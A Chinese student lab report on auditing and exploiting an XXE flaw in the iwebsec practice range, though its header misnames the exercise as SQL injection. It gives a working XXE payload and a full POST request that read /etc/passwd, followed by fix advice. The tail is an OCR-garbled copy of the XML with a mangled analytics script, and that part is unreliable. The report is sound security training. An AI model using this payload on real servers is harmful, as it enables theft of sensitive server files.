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实验（实训）报告
类型： 验证性  演示性  综合性 设计研究性  其他：       

课程名称：Web应用安全审计   课程性质：专业核心课
项目名称:   SQL注入漏洞审计01  指导教师： 
班级：                  学号：           学生姓名： 
1、 实验（实训）目的和任务
1. 实训目的
（1）掌握XML语言基础结构、DTD约束、实体解析核心原理，理解XML数据传输的底层机制。
（2）深入理解XXE（XML外部实体注入）漏洞的产生原理、触发条件及安全风险。
（3）掌握HTTP GET与POST请求的底层差异，明确XXE漏洞仅可通过POST请求利用的核心原因。
（4）熟练使用Burp Suite工具完成抓包、改包、请求方法修改、添加请求头、植入恶意Payload等实操操作。
（5）掌握XXE漏洞读取服务器本地敏感文件的利用方法，具备基础的Web代码安全审计能力。
（6）了解XML接口API的交互逻辑，掌握此类接口的安全审计要点。
2. 实训任务
（1）搭建实验环境，完成靶机连接与基础XML文件测试，验证解析器实体解析特性。
（2）审计XXE漏洞核心源码，分析代码存在的安全缺陷与漏洞触发条件。
（3）通过Burp Suite抓包改包，将GET请求修改为POST请求，构造恶意XML Payload利用漏洞。
（4）成功读取靶机服务器 /etc/passwd 敏感文件，完成漏洞验证。
（5）总结XXE漏洞风险、接口交互安全要点及对应的安全审计规范。

2、 实验（实训）内容及原理
1. 核心实验内容
本次实训基于iwebsec漏洞靶场，以XXE漏洞为核心，完成XML基础认知、漏洞源码审计、HTTP请求差异分析、漏洞手工利用全套实验。首先通过静态XML文件测试，验证靶机XML解析器默认开启实体解析的特性；其次审计漏洞页面PHP源码，定位高危代码缺陷；最后利用Burp Suite篡改HTTP请求，通过POST方式提交恶意XML数据，读取服务器本地敏感文件，验证XXE高危漏洞危害。
2. 核心原理
（1）XML核心原理：XML是结构化数据传输格式，由XML声明、DTD文档约束、元素节点组成，支持内部实体与外部实体定义。外部实体可调用 file://、http:// 等协议读取本地文件、请求外网资源，是XXE漏洞的核心基础。
（2）XXE漏洞原理：Web应用接收用户可控的XML数据，服务器XML解析器默认开启外部实体解析，且无关键字过滤、无安全拦截，攻击者可构造带恶意外部实体的XML代码，利用服务器解析权限读取本地敏感文件、探测内网服务，造成信息泄露。
（3）HTTP请求原理：GET请求无请求体、存在长度限制，无法承载大段恶意XML代码；POST请求支持请求体传参、无严格长度限制，且漏洞源码仅读取POST请求体数据（php://input），因此XXE漏洞仅能通过POST请求利用。
（4）接口交互原理：XML类型接口通过 Content-Type: application/xml 标识数据格式，服务端识别格式后调用XML解析器解析数据，未做安全加固的接口会直接解析恶意实体，触发漏洞攻击。

3、 实验（实训）步骤
步骤1：实验环境搭建
1. 确认实验环境：攻击机Kali IP为192.168.44.129，靶机iwebsec IP为192.168.44.128。
2. Kali终端通过ssh连接靶机，登录账号密码为iwebsec，进入靶场Docker容器及网站根目录 /var/www/html。
3. 开启Burp Suite工具，配置浏览器代理为127.0.0.1:8080，开启请求拦截功能。
步骤2：XML基础特性测试
1. 在网站根目录创建 test_xxe 文件夹，新建 book.xml 测试文件，编写带内部实体的标准XML代码。
2. 浏览器GET访问 http://192.168.44.128/test_xxe/book.xml，观察实体解析效果，验证解析器默认开启实体解析功能。
步骤3：漏洞源码安全审计
1. 查看漏洞页面 index.php 源码，定位核心高危代码。
2. 分析代码缺陷：代码开启外部实体加载、直接接收用户可控POST XML数据、无任何过滤拦截、直接输出解析结果，完全满足XXE漏洞触发条件。
步骤4：Burp抓包改包准备
1. 浏览器GET访问漏洞地址 http://192.168.44.128/xxe/index.php，请求被Burp拦截。
2. 将原始GET请求手动修改为POST请求，在请求头末尾添加 Content-Type: application/xml 标识XML数据格式。
3. 清空默认空白请求体，预留请求体编辑区域，保证请求头与请求体之间存在空行分隔。
步骤5：植入恶意Payload并利用漏洞
1. 在POST请求体中粘贴XXE漏洞攻击Payload，通过file协议定义外部实体读取服务器 /etc/passwd 文件。
2. 点击Burp Forward放行请求，服务端解析恶意XML数据，执行文件读取操作。
3. 查看浏览器响应结果，获取服务器系统用户信息，完成漏洞利用验证。
（全过程截图）
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4、 实验（实训）数据
1. 实验环境数据
攻击机IP：192.168.44.129
靶机IP：192.168.44.128
漏洞地址：http://192.168.44.128/xxe/index.php
抓包工具：Burp Suite（监听端口8080）
2. 核心实验代码数据
（1）基础XML测试代码
	Plain Text
<?xml version = "1.0" encoding = "UTF-8"?>
<!DOCTYPE book[
<!ELEMENT book (title, author, year, price)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT year (#PCDATA)>
<!ELEMENT price (#PCDATA)>
<!ENTITY author "张三">
]>
<book>
<title>XML DTD实例</title>
<author>&author;</author>
<year>2024</year>
<price>29.99</price>
</book>


（2）XXE漏洞利用Payload（最终实验有效载荷）
	Plain Text
<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT username ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<creds>
<username>&xxe;</username>
<password>test</password>
</creds>


（3）完整可利用POST请求包
	Plain Text
POST /xxe/index.php HTTP/1.1
Host: 192.168.44.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i



Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT username ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<creds>
<username>&xxe;</username>
<password>test</password>
</creds>


3. 实验现象数据
（1）基础XML测试：页面正常解析实体，&author; 成功替换为“张三”，证明解析器支持实体解析。
（2）漏洞利用测试：修改为POST请求并植入恶意Payload后，页面输出 hello + 靶机 /etc/passwd 完整系统用户数据，漏洞利用成功。
（3）GET请求测试：直接使用GET请求无法传参，无漏洞触发效果，验证GET请求无法利用XXE漏洞。

5、 实验（实训）结论与感悟

1. 实验结论
本次实训通过对iwebsec靶场XXE漏洞模块的代码审计与手工利用，明确了XML接口场景下的核心安全缺陷及审计要点，总结如下：
（1）XXE漏洞核心缺陷：老旧PHP版本XML解析器默认开启外部实体加载，业务接口直接接收用户可控的XML POST数据，无关键字过滤、无安全校验，攻击者可构造恶意外部实体读取服务器敏感文件。该漏洞仅可通过POST请求利用，GET请求因无请求体、接口不读取URL参数，天然无法触发漏洞。
（2）XML接口审计重点：重点审计接收 Content-Type: application/xml 的POST接口，检查代码是否禁用XML外部实体、是否过滤DOCTYPE、ENTITY、SYSTEM 等恶意关键字，校验用户输入是否可控、解析结果是否直接回显。
（3）漏洞危害验证：成功利用XXE漏洞读取服务器 /etc/passwd 系统核心文件，证明高危XXE漏洞可直接造成服务器敏感信息泄露，严重威胁Web服务与服务器安全。
（4）漏洞修复与安全加固方案
结合本次审计发现的漏洞缺陷，针对XXE高危漏洞总结可落地的修复加固方案，适配PHP Web项目XML接口安全防护：
① 底层代码禁用外部实体（核心修复）：在XML解析代码开头添加libxml_disable_entity_loader(true)，强制关闭XML外部实体加载功能，从根源杜绝外部实体调用文件、内网请求等恶意行为，彻底封堵XXE漏洞入口。
② 过滤恶意关键字：对所有用户提交的XML数据进行前置过滤，拦截 DOCTYPE、ENTITY、SYSTEM、PUBLIC 等XXE高危关键字，禁止用户自定义DTD与外部实体。
③ 升级PHP运行版本：PHP7.2及以上版本默认关闭外部实体解析，无需大量修改业务代码，可实现天然防御XXE漏洞，是低成本、高安全的加固方式。
④ 接口请求规范校验：对 application/xml 类型的POST接口增加安全校验，仅允许合规业务XML结构数据接入，拒绝异常、恶意、超大体积的XML请求数据。
2. 实训感悟
通过本次XXE漏洞实训，我系统掌握了XML数据传输原理、HTTP请求交互机制及XXE漏洞的完整攻击链路，深刻理解了Web代码安全审计的核心思路。以往仅知晓漏洞利用方法，本次实训从底层原理、代码缺陷、接口交互多个维度吃透了漏洞本质，明白了漏洞产生的核心是开发默认不安全配置与输入无过滤校验导致。
[bookmark: _GoBack]同时掌握了Burp Suite抓包、改包、请求方法篡改的实操技巧，区分了GET与POST请求的安全差异，认识到企业级XML接口的安全风险。在后续的Web安全学习中，我会更加关注底层代码配置缺陷，重视默认安全配置的风险，养成先审计代码、再分析漏洞的安全思维，掌握对应的安全防护思路，提升Web安全审计与漏洞防御能力。
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<sin Text

xnl version = “1.0” encoding = “UTF-8"2>

(IDOCTYPE book[

IELENENT book (title, author, vear, price)>

CIELEMENT title (#PCDATA)>

CIELEMENT author (#PCDETA)>

(IELEMENT year (HFCDATA)>

CIELEMENT price ({PCDATA)>

]<‘ENTITY author ="

>

{book>

title>XL DIDIEBI</title>

(author>dauthor, </author>

(year>2024</year>

(price>29. 99¢/price>

{/book>

aript>

jar _hmt = bt || [1;

(function()

var hm = document. creatsElement (“script”)

hm src = “https://hm baidu. com/hm js?78d47cheedsbba661d33t3edc68alcTH0”;
var s = document. getElementsByTaglame (“script”) [0]
s, parentllode. insertBefore (hm, s);

D0
/script>





